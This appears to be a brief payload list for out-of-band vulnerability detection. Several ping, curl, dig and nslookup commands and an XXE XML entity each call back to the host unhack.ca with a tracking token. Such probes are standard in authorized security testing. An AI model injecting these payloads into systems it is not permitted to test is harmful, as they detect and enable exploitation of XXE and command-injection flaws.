$ ping -c1 -p 0018c02dc089128f578da88398229000 unhack.ca
 

$ curl http://unhack.ca/p/18c02dc089128f578da883982290
 

$ dig 18c02dc089128f578da883982290 @unhack.ca
 

$ dig 18c02dc089128f578da883982290.ns.unhack.ca
 

C:\> nslookup 18c02dc089128f578da883982290 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/18c02dc089128f578da883982290">]>
    <foo>&xxe;</foo>